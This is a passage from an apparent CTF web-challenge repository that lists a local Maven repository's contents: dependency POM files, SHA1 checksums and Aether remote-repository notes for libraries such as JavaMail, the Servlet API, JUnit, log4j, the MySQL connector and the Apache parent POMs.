2018 mail-1.4.7.pom>central= mail-1.4.7.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/mail-1.4.7.jar.sha1 ================================================ 9add058589d5d85adeb625859bf2c5eeaaedf12d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/mail-1.4.7.pom ================================================ com.sun.mail all 1.4.7 4.0.0 javax.mail mail jar JavaMail API (compat) javax.mail javax.mail JavaMail(TM) API Design Specification javax.mail javax.mail.*; version=${mail.spec.version}, com.sun.mail.imap; version=${mail.osgiversion}, com.sun.mail.imap.protocol; version=${mail.osgiversion}, com.sun.mail.iap; version=${mail.osgiversion}, com.sun.mail.pop3; version=${mail.osgiversion}, com.sun.mail.smtp; version=${mail.osgiversion}, com.sun.mail.util; version=${mail.osgiversion}, com.sun.mail.util.logging; version=${mail.osgiversion}, com.sun.mail.handlers; version=${mail.osgiversion} META-INF/gfprobe-provider.xml maven-dependency-plugin get-binaries process-sources unpack get-sources process-sources unpack com.sun.mail javax.mail ${mail.version} sources ${project.build.directory}/sources com.sun.mail javax.mail ${mail.version} ${project.build.outputDirectory} META-INF/maven/** maven-jar-plugin ${project.artifactId} ${project.build.outputDirectory}/META-INF/MANIFEST.MF ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/mail/mail/1.4.7/mail-1.4.7.pom.sha1 ================================================ 595a58508006f4a0db61483050d8537e093247f6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 javax.servlet-api-3.0.1.jar>central= javax.servlet-api-3.0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.jar.sha1 ================================================ 6bf0ebb7efd993e222fc1112377b5e92a13b38dd ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.pom ================================================ 4.0.0 net.java jvnet-parent 1 javax.servlet javax.servlet-api jar 3.0.1 javax.servlet javax.servlet-api Java(TM) Servlet API Design Specification 3.0 Oracle 2.3.1 High Java Servlet API http://servlet-spec.java.net mode Rajiv Mordani http://weblogs.java.net/blog/mode Oracle lead swchan2 Shing Wai Chan http://weblogs.java.net/blog/swchan2 Oracle lead developer GlassFish Community https://glassfish.dev.java.net CDDL + GPLv2 with classpath exception https://glassfish.dev.java.net/nonav/public/CDDL+GPL.html repo A business-friendly OSS license jira http://java.net/jira/browse/SERVLET_SPEC Servlet Developer users@servlet-spec.java.net scm:svn:svn+ssh://janey@svn.java.net/glassfish~svn/tags/javax.servlet-api-3.0.1 scm:svn:svn+ssh://janey@svn.java.net/glassfish~svn/tags/javax.servlet-api-3.0.1 https://svn.java.net/svn/glassfish~svn/tags/javax.servlet-api-3.0.1 maven-compiler-plugin 1.5 1.5 -Xlint:unchecked org.apache.felix maven-bundle-plugin 1.4.3 jar ${extension.name}.*; version=${spec.version} ${bundle.symbolicName} <_include>-osgi.bundle bundle-manifest process-classes manifest org.apache.maven.plugins maven-jar-plugin ${project.build.outputDirectory}/META-INF/MANIFEST.MF ${extension.name} ${spec.title} ${spec.version} ${vendor.name} ${project.version} ${project.organization.name} org.glassfish org.apache.maven.plugins maven-remote-resources-plugin 1.2.1 process org.glassfish:legal:1.1 org.apache.maven.plugins maven-source-plugin 2.1 true attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin javadoc javadoc Servlet API Documentation javax.servlet Portions Copyright &copy; 1999-2002 The Apache Software Foundation. All Rights Reserved. Portions Copyright &copy; 2005-2011 Oracle and/or its affiliates. All Rights Reserve org.codehaus.mojo findbugs-maven-plugin ${findbugs.version} ${findbugs.threshold} ${findbugs.exclude} true true org.apache.maven.plugins maven-release-plugin forked-path false ${release.arguments} src/main/java **/*.properties **/*.html src/main/resources META-INF/README org.codehaus.mojo findbugs-maven-plugin ${findbugs.version} ${findbugs.threshold} ${findbugs.exclude} glassfish-repository http://download.java.net/maven/glassfish never ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.pom.sha1 ================================================ 992273c71fb14b78cd29052188857b446aa157d5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:21 CST 2018 servlet-api-2.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.3/servlet-api-2.3.pom ================================================ 4.0.0 javax.servlet servlet-api 2.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.3/servlet-api-2.3.pom.sha1 ================================================ 5a7b9bcc0517b8fc785f306518b66616d9339548 /home/projects/maven/repository-staging/to-ibiblio/maven2/javax/servlet/servlet-api/2.3/servlet-api-2.3.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 servlet-api-2.5.jar>central= servlet-api-2.5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.jar.sha1 ================================================ 5959582d97d8b61f4d154ca9e495aafd16726e34 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.pom ================================================ 4.0.0 javax.servlet servlet-api 2.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/2.5/servlet-api-2.5.pom.sha1 ================================================ a159fa05cce714c83deff647655dd53db064b21c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 servlet-api-3.0-alpha-1.pom>central= servlet-api-3.0-alpha-1.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/servlet-api-3.0-alpha-1.jar.sha1 ================================================ 7b491267924e8c81f4f9378caba0ee03423948ca ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/servlet-api-3.0-alpha-1.pom ================================================ org.glassfish.api api 1 ../pom.xml 4.0.0 javax.servlet servlet-api jar 3.0-alpha-1 JavaServlet(TM) Specification http://jcp.org/en/jsr/detail?id=315 mode Rajiv Mordani http://weblogs.java.net/blog/mode Sun Microsystems, Inc. lead org.apache.maven.plugins maven-javadoc-plugin javadoc javadoc Servlet API Documentation javax.servlet Portions Copyright &copy; 1999-2002 The Apache Software Foundation. All Rights Reserved. Portions Copyright &copy; 2005-2006 Sun Microsystems Inc. All Rights Reserve src/main/java scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/servlet-api-3.0-alpha-1 scm:svn:https://kohsuke@svn.dev.java.net/svn/glassfish-svn/tags/servlet-api-3.0-alpha-1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/javax/servlet/servlet-api/3.0-alpha-1/servlet-api-3.0-alpha-1.pom.sha1 ================================================ eeb3a955b530aa4deedd0ec7146813e20ab67a9b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 jstl-1.2.jar>central= jstl-1.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/jstl-1.2.jar.sha1 ================================================ 74aca283cd4f4b4f3e425f5820cda58f44409547 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/jstl-1.2.pom ================================================ 4.0.0 jstl jstl 1.2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/jstl/jstl/1.2/jstl-1.2.pom.sha1 ================================================ 80e26c0f726d948e7d404b96b229c16f2ab8324a ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 junit-3.8.1.jar>central= junit-3.8.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/junit-3.8.1.jar.sha1 ================================================ 99129f16442844f6a4a11ae22fbbee40b14d774f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/junit-3.8.1.pom ================================================ 4.0.0 junit junit 3.8.1 JUnit http://junit.org JUnit is a regression testing framework written by Erich Gamma and Kent Beck. It is used by the developer who implements unit tests in Java. JUnit http://www.junit.org Common Public License Version 1.0 http://www.opensource.org/licenses/cpl1.0.txt http://junit.cvs.sourceforge.net/junit/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.1/junit-3.8.1.pom.sha1 ================================================ 16d74791c801c89b0071b1680ea0bc85c93417bb junit-3.8.1.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 junit-3.8.2.pom>central= junit-3.8.2.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/junit-3.8.2.jar.sha1 ================================================ 07e4cde26b53a9a0e3fe5b00d1dbbc7cc1d46060 - ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/junit-3.8.2.pom ================================================ 4.0.0 junit junit 3.8.2 JUnit http://junit.org JUnit is a regression testing framework written by Erich Gamma and Kent Beck. It is used by the developer who implements unit tests in Java. JUnit http://www.junit.org Common Public License Version 1.0 http://www.opensource.org/licenses/cpl1.0.txt http://junit.cvs.sourceforge.net/junit/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/3.8.2/junit-3.8.2.pom.sha1 ================================================ c735a15ca8fc2ea77db963c71ade153ffeb8212e junit-3.8.2.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 junit-4.10.jar>central= junit-4.10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/junit-4.10.jar.sha1 ================================================ e4f1766ce7404a08f45d859fb9c226fc9e41a861 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/junit-4.10.pom ================================================ 4.0.0 junit junit 4.10 JUnit http://junit.org JUnit is a regression testing framework written by Erich Gamma and Kent Beck. It is used by the developer who implements unit tests in Java. JUnit http://www.junit.org JUnit Mailing List junit@yahoogroups.com http://tech.groups.yahoo.com/group/junit/ Common Public License Version 1.0 http://www.opensource.org/licenses/cpl1.0.txt scm:git:git://github.com/KentBeck/junit.git scm:git:git@github.com:KentBeck/junit.git http://github.com/KentBeck/junit/tree/master dsaff David Saff david@saff.net maven-compiler-plugin ISO-8859-1 ${jdk.version} ${jdk.version} org.hamcrest hamcrest-core 1.1 compile 1.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.10/junit-4.10.pom.sha1 ================================================ 35bef83e80c3431f95d267e19252bddfe965041c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 junit-4.9.jar>central= junit-4.9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/junit-4.9.jar.sha1 ================================================ 1013627e3993319870863a020034004717505815 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/junit-4.9.pom ================================================ 4.0.0 junit junit 4.9 JUnit http://junit.org JUnit is a regression testing framework written by Erich Gamma and Kent Beck. It is used by the developer who implements unit tests in Java. JUnit http://www.junit.org JUnit Mailing List junit@yahoogroups.com http://tech.groups.yahoo.com/group/junit/ Common Public License Version 1.0 http://www.opensource.org/licenses/cpl1.0.txt scm:git:git://github.com/KentBeck/junit.git scm:git:git@github.com:KentBeck/junit.git http://github.com/KentBeck/junit/tree/master dsaff David Saff david@saff.net maven-compiler-plugin ISO-8859-1 ${jdk.version} ${jdk.version} org.hamcrest hamcrest-core 1.1 compile 1.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/junit/junit/4.9/junit-4.9.pom.sha1 ================================================ 97c2a0289c008cb64527f2e2f4d860326fd02d2e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 log4j-1.2.12.jar>central= log4j-1.2.12.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/log4j-1.2.12.jar.sha1 ================================================ 057b8740427ee6d7b0b60792751356cad17dc0d9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/log4j-1.2.12.pom ================================================ 4.0.0 log4j log4j 1.2.12 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/log4j/log4j/1.2.12/log4j-1.2.12.pom.sha1 ================================================ 70545179454d298d1ff01335fbec3c2acfd381d5 /home/projects/maven/repository-staging/to-ibiblio/maven2/log4j/log4j/1.2.12/log4j-1.2.12.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/logkit/logkit/1.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:20 CST 2018 logkit-1.0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/logkit/logkit/1.0.1/logkit-1.0.1.pom ================================================ 4.0.0 logkit logkit 1.0.1 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/logkit/logkit/1.0.1/logkit-1.0.1.pom.sha1 ================================================ ff3b4e6ced322bc8a21fa3aadfcf7f131a1ee08c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 mysql-connector-java-5.1.29.jar>central= mysql-connector-java-5.1.29.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/mysql-connector-java-5.1.29.jar.sha1 ================================================ 91798a4463050f61598122fe7fdc24aa196dfc0c mysql-connector-java-5.1.29.jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/mysql-connector-java-5.1.29.pom ================================================ 4.0.0 mysql mysql-connector-java 5.1.29 jar MySQL Connector/J MySQL JDBC Type 4 driver The GNU General Public License, Version 2 http://www.gnu.org/licenses/old-licenses/gpl-2.0.html repo MySQL Connector/J contains exceptions to GPL requirements when linking with other components that are licensed under OSI-approved open source licenses, see EXCEPTIONS-CONNECTOR-J in this distribution for more details. http://dev.mysql.com/doc/connector-j/en/ scm:git:git@github.com:mysql/mysql-connector-j.git https://github.com/mysql/mysql-connector-j Oracle Corporation http://www.oracle.com ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/mysql/mysql-connector-java/5.1.29/mysql-connector-java-5.1.29.pom.sha1 ================================================ b175c92ff7a5d0ad5954691b070b114a0d449b76 mysql-connector-java-5.1.29.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 thumbnailator-0.4.8.jar>central= thumbnailator-0.4.8.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/thumbnailator-0.4.8.jar.sha1 ================================================ 4f10c440dd7776630aee9da4611a45032db1e041 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/thumbnailator-0.4.8.pom ================================================ 4.0.0 net.coobird thumbnailator 0.4.8 jar thumbnailator Thumbnailator - a thumbnail generation library for Java http://code.google.com/p/thumbnailator The MIT License (MIT) http://www.opensource.org/licenses/mit-license.html repo http://code.google.com/p/thumbnailator scm:hg:https://code.google.com/p/thumbnailator Chris Kroells coobirdnet@gmail.com http://coobird.net ossrh https://oss.sonatype.org/content/repositories/snapshots ossrh https://oss.sonatype.org/service/local/staging/deploy/maven2/ org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.5 1.5 true lines org.apache.maven.plugins maven-javadoc-plugin 2.10.1 Thumbnailator API Documentation (Version ${project.version}) Thumbnailator API Documentation (Version ${project.version}) en_US public false javadoc Thumbnailator API Documentation ${project.version} coobird.net Thumbnailator API Documentation ${project.version} coobird.net false attach-javadocs jar org.apache.maven.plugins maven-jar-plugin 2.3.1 Thumbnailator ${project.version} coobird.net Thumbnailator ${project.version} coobird.net false org.apache.maven.plugins maven-source-plugin 2.4 Thumbnailator sources ${project.version} coobird.net Thumbnailator sources ${project.version} coobird.net false attach-sources jar-no-fork org.apache.maven.plugins maven-gpg-plugin 1.5 sign-artifacts verify sign org.sonatype.plugins nexus-staging-maven-plugin 1.6.3 true ossrh https://oss.sonatype.org/ false org.mockito mockito-core 1.8.5 test junit junit 4.10 test ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/net/coobird/thumbnailator/0.4.8/thumbnailator-0.4.8.pom.sha1 ================================================ dcf1a358c46b68304c733c589fc1e937a4ed4aad ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/net/java/jvnet-parent/1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:33 CST 2018 jvnet-parent-1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/net/java/jvnet-parent/1/jvnet-parent-1.pom ================================================ 4.0.0 net.java jvnet-parent 1 pom Java.net Parent http://java.net/ Java.net - The Source for Java Technology Collaboration scm:git:git@github.com:sonatype/jvnet-parent.git scm:git:git@github.com:sonatype/jvnet-parent.git https://github.com/sonatype/jvnet-parent jvnet-nexus-snapshots Java.net Nexus Snapshots Repository https://maven.java.net/content/repositories/snapshots false true jvnet-nexus-snapshots Java.net Nexus Snapshots Repository ${jvnetDistMgmtSnapshotsUrl} jvnet-nexus-staging Java.net Nexus Staging Repository https://maven.java.net/service/local/staging/deploy/maven2/ org.apache.maven.plugins maven-enforcer-plugin 1.0 enforce-maven enforce (,2.1.0),(2.1.0,2.2.0),(2.2.0,) Maven 2.1.0 and 2.2.0 produce incorrect GPG signatures and checksums respectively. org.apache.maven.plugins maven-release-plugin 2.1 forked-path false -Pjvnet-release UTF-8 https://maven.java.net/content/repositories/snapshots/ jvnet-release org.apache.maven.plugins maven-source-plugin 2.1.2 attach-sources jar-no-fork org.apache.maven.plugins maven-javadoc-plugin 2.7 attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin 1.1 sign-artifacts verify sign ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/net/java/jvnet-parent/1/jvnet-parent-1.pom.sha1 ================================================ b55a1b046dbe82acdee8edde7476eebcba1e57d8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:21 CST 2018 apache-10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/10/apache-10.pom ================================================ 4.0.0 org.apache apache 10 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. http://www.apache.org/ The Apache Software Foundation http://www.apache.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-10 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-10 http://svn.apache.org/viewvc/maven/pom/tags/apache-10 apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 source-release true org.apache.maven.plugins maven-antrun-plugin 1.6 org.apache.maven.plugins maven-assembly-plugin 2.2.1 org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.4 1.4 org.apache.maven.plugins maven-deploy-plugin 2.6 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0.1 org.apache.maven.plugins maven-gpg-plugin 1.3 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-invoker-plugin 1.5 org.apache.maven.plugins maven-jar-plugin 2.3.1 true true org.apache.maven.plugins maven-javadoc-plugin 2.8 org.apache.maven.plugins maven-plugin-plugin 2.8 org.apache.maven.plugins maven-release-plugin 2.1 false deploy -Papache-release org.apache.maven.plugins maven-remote-resources-plugin 1.2.1 org.apache.maven.plugins maven-resources-plugin 2.5 org.apache.maven.plugins maven-scm-plugin 1.4 org.apache.maven.plugins maven-site-plugin 3.0 org.apache.maven.wagon wagon-ssh 1.0 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.9 org.apache.rat apache-rat-plugin 0.7 org.codehaus.mojo clirr-maven-plugin 2.3 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 org.apache.maven.plugins maven-project-info-reports-plugin 2.4 index summary modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.3 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} ${gpg.useagent} sign maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/10/apache-10.pom.sha1 ================================================ 48296e511366fa13aad48c58d8e09721774abec6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/11/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:13 CST 2018 apache-11.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/11/apache-11.pom ================================================ 4.0.0 org.apache apache 11 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. http://www.apache.org/ The Apache Software Foundation http://www.apache.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-11 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-11 http://svn.apache.org/viewvc/maven/pom/tags/apache-11 apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 source-release true org.apache.maven.plugins maven-antrun-plugin 1.6 org.apache.maven.plugins maven-assembly-plugin 2.2.1 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 2.5.1 1.4 1.4 org.apache.maven.plugins maven-deploy-plugin 2.7 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0.1 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-invoker-plugin 1.6 org.apache.maven.plugins maven-jar-plugin 2.4 true true org.apache.maven.plugins maven-javadoc-plugin 2.8.1 org.apache.maven.plugins maven-plugin-plugin 3.1 org.apache.maven.plugins maven-release-plugin 2.3.2 false deploy -Papache-release ${arguments} org.apache.maven.plugins maven-remote-resources-plugin 1.3 org.apache.maven.plugins maven-resources-plugin 2.5 org.apache.maven.plugins maven-scm-plugin 1.7 org.apache.maven.plugins maven-site-plugin 3.1 org.apache.maven.wagon wagon-ssh 1.0 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.12 org.apache.rat apache-rat-plugin 0.8 org.codehaus.mojo clirr-maven-plugin 2.4 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 org.apache.maven.plugins maven-project-info-reports-plugin 2.5 index summary modules license project-team scm issue-tracking mailing-list dependency-management dependencies dependency-convergence cim plugin-management plugins distribution-management apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.4 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} ${gpg.useagent} sign maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/11/apache-11.pom.sha1 ================================================ cb35e3b8eb7f1adbdc91e015b60d0da3a4e16c4f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/13/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:42 CST 2018 apache-13.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/13/apache-13.pom ================================================ 4.0.0 org.apache apache 13 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. http://www.apache.org/ The Apache Software Foundation http://www.apache.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-13 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-13 http://svn.apache.org/viewvc/maven/pom/tags/apache-13 apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 source-release true org.apache.maven.plugins maven-antrun-plugin 1.6 org.apache.maven.plugins maven-assembly-plugin 2.2.1 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 2.5.1 1.4 1.4 org.apache.maven.plugins maven-deploy-plugin 2.7 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0.1 org.apache.maven.plugins maven-failsafe-plugin 2.12.4 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-invoker-plugin 1.7 org.apache.maven.plugins maven-jar-plugin 2.4 true true org.apache.maven.plugins maven-javadoc-plugin 2.9 org.apache.maven.plugins maven-plugin-plugin 3.2 org.apache.maven.plugins maven-release-plugin 2.3.2 false deploy -Papache-release ${arguments} org.apache.maven.plugins maven-remote-resources-plugin 1.4 org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-scm-plugin 1.8 org.apache.maven.plugins 